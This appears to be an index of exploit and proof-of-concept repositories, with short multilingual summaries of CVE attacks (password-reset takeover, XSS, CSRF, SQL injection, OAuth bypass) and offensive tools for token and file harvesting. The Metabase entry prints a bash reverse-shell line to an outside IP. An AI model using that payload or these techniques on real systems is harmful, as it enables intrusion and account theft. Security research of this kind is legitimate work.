CVE-2023-7028

CVE-2023-7028: CVE-2023-7028 익스플로잇 도구 설명: 이 Python 스크립트는 GitLab 인스턴스의 가상 보안 취약점CVE-2023-7028 악용을 자동화합니다. 지정된 대상 이메일 주소에 대한 비밀번호 재설정 공격을 용이하게 하여 잠재적인 보안 위험을 보여줍니다. 이 도구는 GitLab URL, 대상 이메일 및 선택적 매개변수에 대한 명령줄 옵션을 지원하며, 파일에서 여러 URL 및 이메일을 처리하는 기능이 향상되었습니다. 참고: 이 스크립트는 교육 목적으로만 제공되며 승인되지 않거나 악의적인 활동에...

CVE-2025-50433

CVE-2025-50433 — Critical Account Takeover Vulnerability Affecting Monnit Cloud Platforms .imonnit.com Summary A critical authentication vulnerability exists across .imonnit.com that allows full Account Takeover ATO on any user account without victim interaction. The backend fails to validate the...

CSRFBrute

CSRFBrute CSRFログイン総当たりツール - V 0.5.0 Dev 安定した軽量版である csrfbrute.py を優先的に使用することを推奨 🚀 特徴 動的CSRFトークン更新 - 高セキュリティターゲット上での正確性を確保 スレッドセーフなセッション管理 - 最大100スレッドの高並行処理をサポート スマートリトライ機構 - 指数バックオフ戦略により成功率を向上 セッション復元機能 - ブレークポイントからの再開とCookie復元をサポート パフォーマンス監視 - リアルタイム統計情報とメモリ最適化 セキュリティ監査 - 完全なログ記録と機密情報のマスキング処理...

CVE-2023-38646

CVE-2023-38646 원본 스크립트는 securezeron에서 가져왔습니다. 테스트 과정에서 이 PoC가 생성한 리버스 셸이 base64 인코딩 후 끝의 '=' 문자 때문에 활용에 실패하는 것을 발견했습니다. 이를 약간 수정하여 문제를 해결했습니다. 원래의 reverse shell 페이로드를 생성하는 코드 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode...

cve-2026-102268-poc

CVE-2026-102268 — PyJWT 非対称PEM検出バイパス 悪用可能性分析の結果: 根本原因が確認され、エンドツーエンドの悪用が再現可能 です。空白文字を改変したPEM公開鍵がPyJWTのispemformatガードをバイパスし、有効なHMACシークレットとして受け入れられるため、RS256とHS256を同時に許可リストに登録しているあらゆる検証器に対して完全なHS256トークン偽造が可能になります。詳細は分析を参照してください。 目次 概要 影響を受けるバージョン 根本原因 分析 リポジトリ構成 要件 使用方法 期待される出力 参考資料 免責事項 概要...

CVE-2024-36539

Here’s a README.md for a Proof of Concept PoC demonstrating the insecure permissions vulnerability in Contour v1.28.3: Proof of Concept PoC for Insecure Permissions Vulnerability in Contour v1.28.3 This repository contains a Proof of Concept PoC script demonstrating an insecure permissions...

CVE-2020-7378

CVE-2020-7378 – OpenCRX 예측 가능한 비밀번호 재설정 토큰 및 XXE 익스플로잇 이 저장소에는 OpenCRX5.0-20200717 이하 버전의 치명적인 취약점인 CVE-2020-7378 에 대한 복합 개념 증명PoC 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 애플리케이션의 두 가지 핵심 문제를 연쇄적으로 이용합니다: 1. java.util.Random에 의존하여 발생하는 예측 가능한 비밀번호 재설정 토큰 취약점으로, 공격자가 밀리초 타임스탬프 시드를 기반으로 유효한 토큰을 생성할 수 있습니다. 2...

CVE-2019-19609-POC-Python

The script will try to reset the password to the one declared in the "updatedpass" variable, if it succeeds - it will give a JWT token from Strapi and use it to execute commands. Executing bind commands won't work unless sending a reverse shell payload, with bash or python or whatever. You can...

askWAM

askWAM askWAM は Windows Web Account Manager WAM を通じて Microsoft Entra アクセストークンをサイレントに要求します。.NET Framework クライアント、スタンドアロンのネイティブ x64 クライアント、そして CNA コマンドアダプターを備えた x64 Beacon Object File として提供されます。 すべてのフロントエンドは、クライアントから見えるアカウントを列挙し、不透明な WAM アカウント ID または完全一致のユーザー名で ID を指定できます。対話型認証にフォールバックすることはありません。...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary クロスサイトリクエストフォージェリ 特権昇格の脆弱性 これはCVE-2021-24085の概念実証です。 1. poc.py は、内部に秘密鍵を含むターゲットの証明書ファイルをダウンロードします。 2. YellowCanary は、SIDに基づいて特定のユーザーのmsExchEcpCanary CSRFトークンを生成します。 3. poc.js は、アカウント乗っ取りを引き起こすCSRFエクスプロイトです。...

CVE-2023-31851

CVE-2023-31851 Cudy LT400의 웹 기반 관리 인터페이스에 반사형 크로스 사이트 스크립팅XSS 공격이 존재합니다. /cgi-bin/luci/admin/network/wireless/status 페이지는 iface 매개변수를 통해 반사형 XSS를 가지고 있습니다. 악용 방법은 피해자에게 악성 코드가 포함된 특수 조작된 요청을 전송하는 것입니다. 영향을 받는 애플리케이션은 Session Cookie에 HttpOnly 속성을 설정하지 않습니다. 이로 인해 세션 토큰 도용을 통한 관리자 권한 탈취가 발생할 수 있습니다...

SnaffPoint

SnaffPoint これは何か SnaffPoint は、この世界に甘美さを必要とするペネトレーションテスターのためのツールです。SharePoint Online 上や、会社または顧客の共有 OneDrive ファイル上で利用可能な機密ファイルを見つけるのに役立ちます。 どのように動作するか 実際には2つのツールがあります: GetBearerToken は、通常の GUI と MFA 対応で SharePoint への認証を実行します SnaffPoint は CLI のみで、列挙自体と興味深いファイルの発見を行います GetBearerToken...

CVE-2024-50335

CVE-2024-50335: 인증된 XSS로 'Publish Key' 필드에서 무단 관리자 사용자 생성 허용 요약 SuiteCRM의 프로필 편집 페이지에 있는 'Publish Key' 필드는 반사형 크로스 사이트 스크립팅Reflected XSS에 취약하여, 공격자가 악성 JavaScript 코드를 주입할 수 있습니다. 이를 이용해 CSRF 토큰을 탈취하고 적절한 인증 없이 새로운 관리 사용자를 생성하는 등 무단 작업을 수행할 수 있습니다. 세부 정보 이 취약점은 SuiteCRM 애플리케이션 내의 Publish Key 필드에 대...

CVE-2025-23040

CVE-2025-23040 - GitHub Desktop 자격 증명 유출 GitHub Desktop 3.4.12은 악의적인 원격 URL을 통해 자격 증명을 빼낼 수 있는 공격에 취약합니다. 공격자는 사용자가 조작된 저장소를 클론하도록 유도하여 사용자 이름과 OAuth 토큰을 획득할 수 있습니다...

CVE-2021-40101

설문조사 XSS와 CSRF 결합으로 Concrete5 8.5.4에서 관리자 계정 탈취 발생 9 미만 버전의 Concrete CMS 관리자는 다른 사용자의 비밀번호를 변경할 때 자신의 비밀번호를 제공할 필요가 없었습니다. CVE-2021-28145 "Concrete CMS 이전 concrete5 8.5.5 이전 버전에서는 원격 인증 사용자가 조작된 설문조사 블록을 통해 XSS 공격을 수행할 수 있습니다. 이를 위해서는 최소한 편집자 권한이 필요합니다": 수정 사항은 버전 8.5.5에 포함되었습니다.와 결합하여 낮은 권한의 사용자...

CVE-2025-492030

CVE-2025-492030 보안 권고: CVE-2025-492030 개요 SecureVPN 애플리케이션에서 취약한 API 엔드포인트를 통해 계정 탈취 를 허용하는 심각한 취약점이 발견되었습니다. 이 결함으로 인해 공격자가 무단으로 사용자 계정에 접근하여 민감한 데이터를 노출하고 사용자 프라이버시를 침해할 수 있습니다. 취약점 세부 정보 CVE ID : CVE-2025-492030 심각도 : 치명적 영향 : 계정 탈취 영향받는 구성 요소 : SecureVPN API 엔드포인트 공격 경로 : 원격 기술적 분석 이 취약점은...

CVE-2024-34327

CVE-2024-34327 SQL Injection Vulnerability Checker This script V-24-02-001SQLiCheck.py is a proof-of-concept PoC tool to verify the presence of a time-based blind SQL injection vulnerability affecting the password-reset-token.php endpoint, identified as CVE-2024-34327. ⚠️ Disclaimer This tool is...

CVE-2023-52268

FreeScout 최종 사용자 포털 인증 우회 익스플로잇 CVE-2023-52268 개요 이 익스플로잇은 FreeScout 최종 사용자 포털 모듈버전 1.0.65 미만의 취약점을 대상으로 하며, 부적절한 세션 토큰 관리를 통해 공격자가 인증을 우회할 수 있게 합니다. 세션 토큰을 생성하고 테스트함으로써 공격자는 티켓 시스템에 무단으로 접근하여 사용자를 가장하고 해당 사용자의 지원 티켓에 접근할 수 있습니다. 결정적으로, 생성된 세션 토큰은 매직 링크 인증을 요청한 사용자가 아닌 다른 사용자에게 매핑되므로, 공격자가 임의의 사용...

CVE-2024-50488

CVE-2024-50488 Token Login history.pushState'', '', '/'; document.forms0.submit; 응답 "status":"success","message":"Successfully regenerated token!","tokenurl":"http://kubernetes.docker.internal?token=1c8dc9406bc444d1f5cea37fae130f92"...

CVE-2026-105119 OpenAM before 16.1.3 PKCE Enforcement Bypass via OAuth 2.0 Hybrid Flows

OpenAM before 16.1.3 applies its OAuth2 Provider PKCE enforcement only to authorization requests whose responsetype is exactly code, so codes issued through OpenID Connect hybrid flows code token, code idtoken, code token idtoken carry no bound challenge. An attacker who intercepts such a code ca...